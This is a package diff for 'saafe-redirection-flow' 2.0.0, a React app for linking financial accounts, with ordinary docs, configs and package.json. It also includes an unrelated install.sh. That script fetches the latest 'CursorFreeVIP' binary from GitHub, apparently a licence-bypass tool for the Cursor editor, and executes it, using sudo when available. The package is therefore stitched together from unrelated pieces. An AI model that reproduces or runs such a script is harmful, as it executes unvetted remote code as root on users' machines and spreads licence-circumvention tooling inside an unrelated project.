saafe-redirection-flow 2.0.0

package/docs/semantic-release.md

@@ -0,0 +1,124 @@
+# Semantic Release Setup
+
+This project uses [semantic-release](https://github.com/semantic-release/semantic-release) for automated version management and package publishing.
+
+## Commit Message Format
+
+We use the [Angular Commit Message Convention](https://github.com/angular/angular/blob/master/CONTRIBUTING.md#-commit-message-format). Each commit message consists of a **header**, a **body**, and a **footer**.
+
+### Header
+
+The header has a special format that includes a **type**, a **scope**, and a **subject**:
+
+```
+<type>(<scope>): <subject>
+```
+
+#### Type
+
+Must be one of the following:
+
+- **feat**: A new feature (correlates with MINOR in semantic versioning)
+- **fix**: A bug fix (correlates with PATCH in semantic versioning)
+- **docs**: Documentation only changes
+- **style**: Changes that do not affect the meaning of the code
+- **refactor**: A code change that neither fixes a bug nor adds a feature
+- **perf**: A code change that improves performance
+- **test**: Adding missing tests or correcting existing tests
+- **chore**: Changes to the build process or auxiliary tools
+
+#### Scope
+
+The scope should be the name of the npm package affected (as perceived by the person reading the changelog generated from commit messages).
+
+Examples:
+- `ui`
+- `auth`
+- `api`
+- `components`
+
+#### Subject
+
+The subject contains a succinct description of the change:
+
+- Use the imperative, present tense: "change" not "changed" nor "changes"
+- Don't capitalize the first letter
+- No dot (.) at the end
+
+### Breaking Changes
+
+To indicate a breaking change, add `BREAKING CHANGE:` in the footer of the commit message, or append `!` after the type/scope:
+
+```
+feat!: drop support for Node 12
+```
+
+or
+
+```
+feat(api): add new authentication method
+
+BREAKING CHANGE: The old authentication method is no longer supported.
+```
+
+## Release Types
+
+| Commit message | Release type |
+|---|---|
+| `fix(pencil): stop graphite breaking when too much pressure applied` | Patch Release |
+| `feat(pencil): add 'graphiteWidth' option` | Feature Release |
+| `perf(pencil): remove graphiteWidth option`<br><br>`BREAKING CHANGE: The graphiteWidth option has been removed.` | Breaking Release |
+
+## Examples
+
+### Feature
+```
+feat(ui): add version display component
+
+- Add responsive version display component
+- Include build date information
+- Support multiple display variants
+```
+
+### Bug Fix
+```
+fix(auth): resolve login timeout issue
+
+- Increase timeout duration for mobile networks
+- Add better error handling for network failures
+```
+
+### Breaking Change
+```
+feat(api)!: update authentication flow
+
+BREAKING CHANGE: Authentication now requires OAuth 2.0 instead of API keys
+```
+
+## Running Semantic Release
+
+### Locally (Dry Run)
+```bash
+npm run semantic-release:dry-run
+```
+
+### Production
+Semantic release runs automatically on the CI/CD pipeline when code is pushed to the `main` branch.
+
+## Configuration
+
+The semantic release configuration is defined in `.releaserc.json`:
+
+- **Branches**: `main` for production releases, `develop` for beta releases
+- **Plugins**: Commit analyzer, release notes generator, changelog, git, and GitHub releases
+- **Assets**: Updates `package.json`, `package-lock.json`, and `CHANGELOG.md`
+
+## Version Display
+
+The application automatically displays the current version in:
+
+1. **Mobile Footer**: Compact version display
+2. **Desktop Footer**: Version with build date
+3. **Desktop Sidebar**: Minimal version display
+
+The version information is automatically injected during the build process using Vite environment variables. 

package/docs/user-flow.md

@@ -0,0 +1,206 @@
+# SAAFE Redirection Flow - User Journey
+
+This document outlines the typical user journey through the SAAFE Redirection Flow application, from initial loading to successful account linking or rejection.
+
+## User Flow Overview
+
+The SAAFE Redirection Flow guides users through a structured process to securely link their financial accounts. The typical flow consists of these key stages:
+
+1. **Application Loading**
+2. **Authentication**
+3. **Account Discovery**
+4. **Account Selection**
+5. **Consent Review**
+6. **Completion (Success or Rejection)**
+
+Below is a detailed explanation of each stage, including screenshots, user interactions, and technical considerations.
+
+## 1. Application Loading
+
+### Initial Experience
+
+When users first access the SAAFE Redirection Flow (typically through a partner app's WebView or iframe), they see:
+
+- Loading indicator while URL parameters are decoded
+- Branded experience with partner's logo and styling (if configured)
+- Platform-specific UI optimizations based on the `platform` parameter
+
+### Technical Details
+
+- URL parameters (`fi`, `ecreq`, `reqdate`) are validated and decoded
+- Theme is initialized based on the `theme` parameter or system preference
+- Custom styling is applied if provided
+- Analytics event `APP_LOAD` is triggered
+
+## 2. Authentication
+
+### User Actions
+
+Users authenticate themselves with their financial institution:
+
+1. Enter login credentials (username/password)
+2. Verify identity with One-Time Password (OTP) if required
+3. View and accept the financial institution's terms and conditions
+
+### UI Components
+
+- Login form with validation
+- OTP input with auto-focus and clipboard support
+- Terms and conditions modal (platform-specific display)
+- Error messages for invalid credentials
+
+### Technical Details
+
+- Secure credential transmission
+- Session token management
+- Authentication state management in Zustand store
+- Platform-specific document handling
+
+## 3. Account Discovery
+
+### User Actions
+
+After successful authentication, users can:
+
+1. View financial institutions available for linking
+2. Browse by category (Banks, NBFCs, Insurance, etc.)
+3. Search for specific institutions
+4. Select their institution
+
+### UI Components
+
+- Category tabs or filters
+- Search bar with autocomplete
+- Institution cards with logos
+- Skeleton loaders during data fetching
+
+### Technical Details
+
+- Data fetching with React Query
+- Caching of institution list
+- Search functionality with debounce
+- Analytics events for tracking selections
+
+## 4. Account Selection
+
+### User Actions
+
+After selecting an institution, users can:
+
+1. View their accounts at the selected institution
+2. Select which accounts to link
+3. View account details (type, balance, etc.)
+4. Proceed to consent review
+
+### UI Components
+
+- Account cards with details
+- Checkbox selection for multiple accounts
+- Continue button with disabled state when no accounts selected
+- Information tooltips for account types
+
+### Technical Details
+
+- Account data fetching and state management
+- Selection tracking in local state
+- Validation before proceeding to next step
+- Progressive disclosure of information
+
+## 5. Consent Review
+
+### User Actions
+
+Before finalizing the account linking, users:
+
+1. Review what data will be shared
+2. See who will receive the data (third-party application)
+3. Understand how the data will be used
+4. Choose to approve or reject the consent request
+
+### UI Components
+
+- Detailed consent information
+- Data sharing scope visualization
+- Clear accept and reject buttons
+- Terms and policies links
+
+### Technical Details
+
+- Consent data preparation
+- Tracking consent review time
+- Preparing for submission
+- Navigation protection to prevent accidental exits
+
+## 6. Completion
+
+### Success Path
+
+If the user approves the consent:
+
+1. Success screen confirms account linking
+2. Confirmation of which accounts were linked
+3. Next steps or return to partner application
+4. Optional promotional content
+
+### Rejection Path
+
+If the user rejects the consent:
+
+1. Rejection confirmation screen
+2. Explanation of implications
+3. Option to try again or return to partner application
+
+### Technical Details
+
+- Final API submission of user selections
+- Success/failure handling
+- Communication back to parent application
+- Session cleanup
+- Final analytics events
+
+## Special Flows
+
+### Returning Users
+
+For users who have previously linked accounts:
+
+1. View currently linked accounts
+2. Option to link additional accounts
+3. Option to unlink existing accounts
+
+### Error Handling
+
+When errors occur during the flow:
+
+1. User-friendly error messages
+2. Retry options where appropriate
+3. Fallback paths for recoverable errors
+4. Contact support options for unrecoverable errors
+
+## Platform-Specific Differences
+
+### Mobile vs Web
+
+The user experience adjusts based on platform:
+
+- **Mobile**: Full-screen optimized UI, bottom sheet dialogs, mobile-specific gestures
+- **Web**: More spacious layout, hover states, keyboard shortcuts
+
+### iOS vs Android
+
+Platform-specific optimizations:
+
+- **iOS**: iOS-style UI components, respects safe areas, iOS-specific gestures
+- **Android**: Material Design influenced components, Android back button handling
+
+## Analytics Touchpoints
+
+The application tracks user progress through the journey:
+
+- Page views for each step
+- Time spent on each step
+- Drop-off points
+- Success/failure rates
+- Error encounters
+
+This data helps improve the flow and identify potential issues. 

package/eslint.config.js

@@ -0,0 +1,28 @@
+import js from '@eslint/js'
+import globals from 'globals'
+import reactHooks from 'eslint-plugin-react-hooks'
+import reactRefresh from 'eslint-plugin-react-refresh'
+import tseslint from 'typescript-eslint'
+
+export default tseslint.config(
+  { ignores: ['dist'] },
+  {
+    extends: [js.configs.recommended, ...tseslint.configs.recommended],
+    files: ['**/*.{ts,tsx}'],
+    languageOptions: {
+      ecmaVersion: 2020,
+      globals: globals.browser,
+    },
+    plugins: {
+      'react-hooks': reactHooks,
+      'react-refresh': reactRefresh,
+    },
+    rules: {
+      ...reactHooks.configs.recommended.rules,
+      'react-refresh/only-export-components': [
+        'warn',
+        { allowConstantExport: true },
+      ],
+    },
+  },
+)

package/index.html

@@ -0,0 +1,19 @@
+<!doctype html>
+<html lang="en">
+  <head>
+    <meta charset="UTF-8" />
+    <link rel="icon" type="image/svg+xml" href="/saafe-icon.svg" />
+    <link rel="preconnect" href="https://fonts.googleapis.com">
+    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
+    <link
+      href="https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap"
+      rel="stylesheet"
+    />
+    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+    <title>Saafe</title>
+  </head>
+  <body>
+    <div id="root"></div>
+    <script type="module" src="/src/main.tsx"></script>
+  </body>
+</html>

package/install.sh

@@ -0,0 +1,198 @@
+#!/bin/bash
+
+# Color definitions
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+BLUE='\033[0;34m'
+CYAN='\033[0;36m'
+NC='\033[0m' # No Color
+
+# Logo
+print_logo() {
+    echo -e "${CYAN}"
+    cat << "EOF"
+   ██████╗██╗   ██╗██████╗ ███████╗ ██████╗ ██████╗      ██████╗ ██████╗  ██████╗   
+  ██╔════╝██║   ██║██╔══██╗██╔════╝██╔═══██╗██╔══██╗     ██╔══██╗██╔══██╗██╔═══██╗  
+  ██║     ██║   ██║██████╔╝███████╗██║   ██║██████╔╝     ██████╔╝██████╔╝██║   ██║  
+  ██║     ██║   ██║██╔══██╗╚════██║██║   ██║██╔══██╗     ██╔═══╝ ██╔══██╗██║   ██║  
+  ╚██████╗╚██████╔╝██║  ██║███████║╚██████╔╝██║  ██║     ██║     ██║  ██║╚██████╔╝  
+   ╚═════╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝ ╚═════╝ ╚═╝  ╚═╝     ╚═╝     ╚═╝  ╚═╝ ╚═════╝  
+EOF
+    echo -e "${NC}"
+}
+
+# Get download folder path
+get_downloads_dir() {
+    if [[ "$(uname)" == "Darwin" ]]; then
+        echo "$HOME/Downloads"
+    else
+        if [ -f "$HOME/.config/user-dirs.dirs" ]; then
+            . "$HOME/.config/user-dirs.dirs"
+            echo "${XDG_DOWNLOAD_DIR:-$HOME/Downloads}"
+        else
+            echo "$HOME/Downloads"
+        fi
+    fi
+}
+
+# Get latest version
+get_latest_version() {
+    echo -e "${CYAN}ℹ️ Checking latest version...${NC}"
+    latest_release=$(curl -s https://api.github.com/repos/yeongpin/cursor-free-vip/releases/latest) || {
+        echo -e "${RED}❌ Cannot get latest version information${NC}"
+        exit 1
+    }
+    
+    VERSION=$(echo "$latest_release" | grep -o '"tag_name": ".*"' | cut -d'"' -f4 | tr -d 'v')
+    if [ -z "$VERSION" ]; then
+        echo -e "${RED}❌ Failed to parse version from GitHub API response:\n${latest_release}"
+        exit 1
+    fi
+
+    echo -e "${GREEN}✅ Found latest version: ${VERSION}${NC}"
+}
+
+# Detect system type and architecture
+detect_os() {
+    if [[ "$(uname)" == "Darwin" ]]; then
+        # Detect macOS architecture
+        ARCH=$(uname -m)
+        if [[ "$ARCH" == "arm64" ]]; then
+            OS="mac_arm64"
+            echo -e "${CYAN}ℹ️ Detected macOS ARM64 architecture${NC}"
+        else
+            OS="mac_intel"
+            echo -e "${CYAN}ℹ️ Detected macOS Intel architecture${NC}"
+        fi
+    elif [[ "$(uname)" == "Linux" ]]; then
+        # Detect Linux architecture
+        ARCH=$(uname -m)
+        if [[ "$ARCH" == "aarch64" || "$ARCH" == "arm64" ]]; then
+            OS="linux_arm64"
+            echo -e "${CYAN}ℹ️ Detected Linux ARM64 architecture${NC}"
+        else
+            OS="linux_x64"
+            echo -e "${CYAN}ℹ️ Detected Linux x64 architecture${NC}"
+        fi
+    else
+        # Assume Windows
+        OS="windows"
+        echo -e "${CYAN}ℹ️ Detected Windows system${NC}"
+    fi
+}
+
+# Install and download
+install_cursor_free_vip() {
+    local downloads_dir=$(get_downloads_dir)
+    local binary_name="CursorFreeVIP_${VERSION}_${OS}"
+    local binary_path="${downloads_dir}/${binary_name}"
+    local download_url="https://github.com/yeongpin/cursor-free-vip/releases/download/v${VERSION}/${binary_name}"
+    
+    # Check if file already exists
+    if [ -f "${binary_path}" ]; then
+        echo -e "${GREEN}✅ Found existing installation file${NC}"
+        echo -e "${CYAN}ℹ️ Location: ${binary_path}${NC}"
+        
+        # Check if running as root
+        if [ "$EUID" -ne 0 ]; then
+            echo -e "${YELLOW}⚠️ Requesting administrator privileges...${NC}"
+            if command -v sudo >/dev/null 2>&1; then
+                echo -e "${CYAN}ℹ️ Starting program with sudo...${NC}"
+                sudo chmod +x "${binary_path}"
+                sudo "${binary_path}"
+            else
+                echo -e "${YELLOW}⚠️ sudo not found, trying to run normally...${NC}"
+                chmod +x "${binary_path}"
+                "${binary_path}"
+            fi
+        else
+            # Already running as root
+            echo -e "${CYAN}ℹ️ Already running as root, starting program...${NC}"
+            chmod +x "${binary_path}"
+            "${binary_path}"
+        fi
+        return
+    fi
+    
+    echo -e "${CYAN}ℹ️ No existing installation file found, starting download...${NC}"
+    echo -e "${CYAN}ℹ️ Downloading to ${downloads_dir}...${NC}"
+    echo -e "${CYAN}ℹ️ Download link: ${download_url}${NC}"
+    
+    # Check if file exists
+    if curl --output /dev/null --silent --head --fail "$download_url"; then
+        echo -e "${GREEN}✅ File exists, starting download...${NC}"
+    else
+        echo -e "${RED}❌ Download link does not exist: ${download_url}${NC}"
+        echo -e "${YELLOW}⚠️ Trying without architecture...${NC}"
+        
+        # Try without architecture
+        if [[ "$OS" == "mac_arm64" || "$OS" == "mac_intel" ]]; then
+            OS="mac"
+            binary_name="CursorFreeVIP_${VERSION}_${OS}"
+            download_url="https://github.com/yeongpin/cursor-free-vip/releases/download/v${VERSION}/${binary_name}"
+            echo -e "${CYAN}ℹ️ New download link: ${download_url}${NC}"
+            
+            if ! curl --output /dev/null --silent --head --fail "$download_url"; then
+                echo -e "${RED}❌ New download link does not exist${NC}"
+                exit 1
+            fi
+        elif [[ "$OS" == "linux_x64" || "$OS" == "linux_arm64" ]]; then
+            OS="linux"
+            binary_name="CursorFreeVIP_${VERSION}_${OS}"
+            download_url="https://github.com/yeongpin/cursor-free-vip/releases/download/v${VERSION}/${binary_name}"
+            echo -e "${CYAN}ℹ️ New download link: ${download_url}${NC}"
+            
+            if ! curl --output /dev/null --silent --head --fail "$download_url"; then
+                echo -e "${RED}❌ New download link does not exist${NC}"
+                exit 1
+            fi
+        else
+            exit 1
+        fi
+    fi
+    
+    # Download file
+    if ! curl -L -o "${binary_path}" "$download_url"; then
+        echo -e "${RED}❌ Download failed${NC}"
+        exit 1
+    fi
+    
+    # Check downloaded file size
+    local file_size=$(stat -f%z "${binary_path}" 2>/dev/null || stat -c%s "${binary_path}" 2>/dev/null)
+    echo -e "${CYAN}ℹ️ Downloaded file size: ${file_size} bytes${NC}"
+    
+    # If file is too small, it might be an error message
+    if [ "$file_size" -lt 1000 ]; then
+        echo -e "${YELLOW}⚠️ Warning: Downloaded file is too small, possibly not a valid executable file${NC}"
+        echo -e "${YELLOW}⚠️ File content:${NC}"
+        cat "${binary_path}"
+        echo ""
+        echo -e "${RED}❌ Download failed, please check version and operating system${NC}"
+        exit 1
+    fi
+    
+    echo -e "${CYAN}ℹ️ Setting executable permissions...${NC}"
+    if chmod +x "${binary_path}"; then
+        echo -e "${GREEN}✅ Installation completed!${NC}"
+        echo -e "${CYAN}ℹ️ Program downloaded to: ${binary_path}${NC}"
+        echo -e "${CYAN}ℹ️ Starting program...${NC}"
+        
+        # Run program directly
+        "${binary_path}"
+    else
+        echo -e "${RED}❌ Installation failed${NC}"
+        exit 1
+    fi
+}
+
+# Main program
+main() {
+    print_logo
+    get_latest_version
+    detect_os
+    install_cursor_free_vip
+}
+
+# Run main program
+main 

package/package.json

@@ -0,0 +1,115 @@
+{
+  "name": "saafe-redirection-flow",
+  "version": "2.0.0",
+  "type": "module",
+  "scripts": {
+    "dev": "vite",
+    "build": "tsc -b && vite build",
+    "build:production": "vite build --mode production",
+    "build:stage": "vite build --mode stage",
+    "build:sandbox": "vite build --mode sandbox",
+    "build:gh": "vite build --base=/saafe-redirection-flow/",
+    "lint": "eslint .",
+    "preview": "vite preview",
+    "preview:production": "vite preview --mode production",
+    "preview:stage": "vite preview --mode stage",
+    "preview:sandbox": "vite preview --mode sandbox",
+    "storybook": "storybook dev -p 6006",
+    "build-storybook": "storybook build",
+    "semantic-release": "semantic-release",
+    "semantic-release:dry-run": "semantic-release --dry-run",
+    "release": "npm run semantic-release",
+    "release:dry": "npm run semantic-release:dry-run",
+    "version:check": "echo \"Current version: $(node -p 'require(\"./package.json\").version')\"",
+    "env:check": "node -e \"console.log('Environment:', process.env.NODE_ENV || 'development'); console.log('Available env vars:', Object.keys(process.env).filter(k => k.startsWith('VITE_')).join(', '))\"",
+    "env:list": "ls -la .env*",
+    "build:all": "npm run build:production && npm run build:stage && npm run build:sandbox",
+    "release:real": "semantic-release --no-ci",
+    "release:prod": "git checkout prod && npm run release:real"
+  },
+  "dependencies": {
+    "@hookform/resolvers": "^4.1.3",
+    "@radix-ui/react-avatar": "^1.1.3",
+    "@radix-ui/react-checkbox": "^1.1.4",
+    "@radix-ui/react-collapsible": "^1.1.3",
+    "@radix-ui/react-dialog": "^1.1.6",
+    "@radix-ui/react-dropdown-menu": "^2.1.6",
+    "@radix-ui/react-icons": "^1.3.2",
+    "@radix-ui/react-label": "^2.1.2",
+    "@radix-ui/react-popover": "^1.1.6",
+    "@radix-ui/react-radio-group": "^1.2.3",
+    "@radix-ui/react-scroll-area": "^1.2.3",
+    "@radix-ui/react-select": "^2.1.7",
+    "@radix-ui/react-separator": "^1.1.2",
+    "@radix-ui/react-slot": "^1.2.0",
+    "@radix-ui/react-tabs": "^1.1.3",
+    "@radix-ui/react-tooltip": "^1.1.8",
+    "@tailwindcss/vite": "^4.0.14",
+    "@tanstack/react-query": "^5.71.5",
+    "@tanstack/react-query-devtools": "^5.71.5",
+    "axios": "^1.8.4",
+    "class-variance-authority": "^0.7.1",
+    "clsx": "^2.1.1",
+    "framer-motion": "^12.6.0",
+    "i18next": "^24.2.3",
+    "i18next-browser-languagedetector": "^8.0.4",
+    "input-otp": "^1.4.2",
+    "lucide-react": "^0.482.0",
+    "next-themes": "^0.4.6",
+    "posthog-js": "^1.234.10",
+    "react": "^19.0.0",
+    "react-day-picker": "^9.6.7",
+    "react-dom": "^19.0.0",
+    "react-hook-form": "^7.54.2",
+    "react-i18next": "^15.4.1",
+    "react-router-dom": "^7.4.0",
+    "sonner": "^2.0.3",
+    "tailwind-merge": "^3.0.2",
+    "tailwindcss": "^4.0.14",
+    "tailwindcss-animate": "^1.0.7",
+    "zod": "^3.24.2",
+    "zustand": "^5.0.3"
+  },
+  "devDependencies": {
+    "@chromatic-com/storybook": "^3.2.6",
+    "@eslint/js": "^9.21.0",
+    "@semantic-release/changelog": "^6.0.3",
+    "@semantic-release/git": "^10.0.1",
+    "@semantic-release/npm": "^12.0.1",
+    "@storybook/addon-essentials": "^8.6.10",
+    "@storybook/addon-interactions": "^8.6.10",
+    "@storybook/addon-links": "^8.6.10",
+    "@storybook/addon-onboarding": "^8.6.10",
+    "@storybook/blocks": "^8.6.10",
+    "@storybook/experimental-addon-test": "^8.6.10",
+    "@storybook/react": "^8.6.10",
+    "@storybook/react-vite": "^8.6.10",
+    "@storybook/test": "^8.6.10",
+    "@storybook/testing-library": "^0.2.2",
+    "@types/node": "^22.13.10",
+    "@types/react": "^19.0.10",
+    "@types/react-dom": "^19.0.4",
+    "@vitejs/plugin-react": "^4.3.4",
+    "@vitest/browser": "^3.0.9",
+    "@vitest/coverage-v8": "^3.0.9",
+    "cross-env": "^7.0.3",
+    "eslint": "^9.21.0",
+    "eslint-plugin-react-hooks": "^5.1.0",
+    "eslint-plugin-react-refresh": "^0.4.19",
+    "eslint-plugin-storybook": "^0.12.0",
+    "globals": "^15.15.0",
+    "playwright": "^1.51.1",
+    "react-docgen-typescript": "^2.2.2",
+    "semantic-release": "^24.2.5",
+    "storybook": "^8.6.10",
+    "typescript": "~5.7.2",
+    "typescript-eslint": "^8.24.1",
+    "vite": "^6.2.0",
+    "vitest": "^3.0.9"
+  },
+  "eslintConfig": {
+    "extends": [
+      "plugin:storybook/recommended"
+    ]
+  }
+}